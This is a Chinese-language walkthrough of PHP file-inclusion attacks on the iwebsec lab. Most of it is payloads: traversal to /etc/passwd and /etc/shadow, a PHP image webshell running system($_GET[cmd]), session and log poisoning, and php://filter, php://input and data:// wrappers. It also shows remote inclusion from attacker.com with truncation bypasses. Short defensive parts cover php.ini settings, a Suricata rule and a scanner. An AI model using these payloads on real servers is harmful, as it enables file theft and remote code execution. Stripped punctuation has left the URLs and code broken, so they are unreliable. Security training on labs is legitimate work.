PHP 文件包含漏洞实战:iwebsec靶场10关核心绕过手法与3类伪协议利用

📅 2026/7/8 20:31:35
PHP 文件包含漏洞实战:iwebsec靶场10关核心绕过手法与3类伪协议利用
PHP文件包含漏洞深度实战iwebsec靶场10种核心绕过技术与伪协议高阶利用当开发者在PHP应用中动态包含文件时若未对用户输入进行严格过滤就可能引发文件包含漏洞。这种漏洞不仅允许攻击者读取服务器敏感文件更危险的是能执行任意代码。iwebsec靶场精心设计了10种典型的文件包含漏洞场景本文将带您深入剖析每种场景的绕过手法并系统讲解3类PHP伪协议的实战应用技巧。1. 文件包含漏洞基础与靶场环境搭建文件包含漏洞本质上源于开发者过度信任用户输入。当使用include、require等函数时如果参数可控攻击者就能通过构造特殊路径实现非预期文件操作。根据包含目标的位置可分为本地文件包含(LFI)包含服务器本地的文件远程文件包含(RFI)通过URL包含远程服务器的文件iwebsec靶场是一个专为Web安全研究设计的漏洞演练平台其文件包含模块包含10个渐进式挑战关卡。搭建环境只需执行docker pull iwebsec/iwebsec docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec访问http://localhost:8001即可开始实验。每个关卡对应不同的过滤条件和限制我们需要针对性地开发绕过方案。2. 基础本地文件包含实战2.1 敏感文件读取第一关是最基础的本地文件包含没有任何过滤措施。通过简单的路径遍历即可读取系统文件/fi/01.php?filename../../../../etc/passwd常见敏感文件路径整理如下表系统类型重要文件路径获取信息Linux/etc/passwd用户账户信息Linux/etc/shadow用户密码哈希Linux/var/log/auth.log认证日志WindowsC:\Windows\System32\drivers\etc\hosts主机配置WindowsC:\boot.ini系统启动配置注意实际渗透测试中读取/etc/shadow需要root权限但很多Web应用以高权限运行使得这种攻击成为可能2.2 图片马利用更危险的利用方式是将恶意代码写入图片等合法文件然后通过包含执行// 生成图片马 $image imagecreate(100, 100); imagecolorallocate($image, 0, 0, 0); imagestring($image, 5, 20, 50, ?php system($_GET[cmd]); ?, imagecolorallocate($image, 255, 255, 255)); imagepng($image, shell.png);上传后包含该图片即可执行任意命令/fi/01.php?filenameuploads/shell.pngcmdid3. 过滤绕过进阶技术3.1 截断技术精要当系统过滤特殊字符时我们需要使用截断技术%00截断需PHP5.3.4且magic_quotes_gpcOff/fi/02.php?filename../../../../etc/passwd%00路径长度截断Windows系统有效/fi/02.php?filename././././[重复256次]../../etc/passwd不同系统的路径长度限制系统最大路径长度测试方法Windows260字符无直接命令Linux4096字节getconf PATH_MAX /3.2 Session文件包含技巧当应用将用户输入存入Session时可构造恶意Session文件并包含注入PHP代码到Session/fi/03.php?iwebsec?php phpinfo();?获取Session ID通过Cookie或响应头包含Session文件默认路径/fi/01.php?filename../../../../var/lib/php/sessions/sess_[id]关键Session配置参数; php.ini配置 session.save_path /var/lib/php/sessions session.name PHPSESSID4. PHP伪协议深度利用4.1 php://filter协议剖析php://filter是读取文件源码的利器其核心作用流程指定资源流应用过滤链返回处理结果常用过滤链组合过滤器作用示例convert.base64-encodeBase64编码readconvert.base64-encode/resourceindex.phpstring.rot13ROT13加密readstring.rot13/resourceconfig.phpzlib.deflate压缩数据readzlib.deflate/resourceadmin.php典型利用Payload/fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php4.2 php://input动态执行php://input允许直接POST代码执行但需要满足allow_url_includeOn请求方式为POST非multipart/form-data编码攻击步骤GET请求设置包装器/fi/08.php?filenamephp://inputPOST正文发送代码?php system(whoami); ?4.3 data://协议利用链data协议可将代码直接内联传输格式为data:[mediatype][;base64],data典型攻击向量/fi/10.php?filenamedata://text/plain,?php phpinfo();?更隐蔽的Base64编码方式/fi/10.php?filenamedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg5. 远程文件包含高级技巧5.1 基础RFI利用当allow_url_fopen和allow_url_include开启时可直接包含远程代码/fi/04.php?filenamehttp://attacker.com/shell.txt5.2 受限环境绕过方案问号截断/fi/05.php?filenamehttp://attacker.com/shell.txt?锚点截断/fi/05.php?filenamehttp://attacker.com/shell.txt%23DNS重绑定设置DNS TTL为0首次解析返回合法IP通过验证实际连接时解析到恶意服务器6. 防御方案与最佳实践6.1 安全编码规范使用白名单校验包含文件设置open_basedir限制访问范围关键配置建议allow_url_fopen Off allow_url_include Off open_basedir /var/www/html6.2 入侵检测规则示例以下Suricata规则可检测常见文件包含攻击alert http $HOME_NET any - $EXTERNAL_NET any ( msg:WEB-ATTACKS file inclusion attempt; flow:to_server,established; content:/etc/passwd; nocase; content:..; distance:0; classtype:web-application-attack; sid:1000001; )7. 自动化测试工具集成使用Python实现基础扫描器import requests LFI_PAYLOADS [ ../../../../etc/passwd, php://filter/convert.base64-encode/resourceindex.php, data://text/plain,?php phpinfo();? ] def test_lfi(url): for param in get_params(url): for payload in LFI_PAYLOADS: r requests.get(f{url}?{param}{payload}) if root:x: in r.text or phpinfo() in r.text: print(f[!] Vulnerable: {param}{payload})8. 真实案例分析某CMS 1.5版本文件包含漏洞利用链发现模板参数可控/index.php?templatedefault使用zip协议绕过限制/index.php?templatezip:///tmp/exploit.jpg%23payload上传包含shell的jpg压缩包9. 防御绕过创新思路日志污染通过User-Agent注入代码然后包含访问日志环境变量注入通过/proc/self/environ包含临时文件竞争利用上传临时文件包含执行10. 靶场完整通关路线图基础LFI直接包含/etc/passwd过滤绕过使用%00截断Session包含污染session后包含基础RFI直接远程包含RFI限制绕过使用问号截断php://filter读取源码php://inputPOST代码执行file://绝对路径包含data://内联代码执行组合利用日志污染包含掌握这些技术后面对各种文件包含限制条件都能游刃有余地开发绕过方案。建议在实战中根据具体环境灵活组合这些技术同时始终遵守合法测试原则。